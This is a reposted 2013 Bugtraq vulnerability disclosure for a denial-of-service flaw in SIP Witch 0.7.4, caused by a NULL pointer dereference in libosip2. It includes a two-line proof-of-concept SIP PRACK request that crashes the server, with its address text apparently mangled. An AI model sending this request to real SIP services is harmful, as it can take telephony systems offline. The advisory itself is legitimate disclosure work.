SIP Witch 0.7.4 w/libosip2-4.0.0 DoS via NULL pointer derefence in libosip2

“Date: Tue, 05 Mar 2013 20:54:48 +0000
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# SIP Witch 0.7.4 w/libosip2-4.0.0 #
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# Authors:
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# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
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* DoS by the NULL pointer derefence in libosip2. True, found in the ancient version of sipwitch
(default in BT5) but the problem lies in the library used by it and may affect other software.
Found independently of http://lists.gnu.org/archive/html/linphone-developers/2012-07/msg00019.html

POC (request):
— cut —
PRACK sip:1 () 127 0 0 1:5060;transport=udp SIP/2.0
Call-ID: a
— cut —
”

— http://seclists.org/bugtraq/2013/Mar/25

Source: http://seclists.org/bugtraq/2013/Mar/25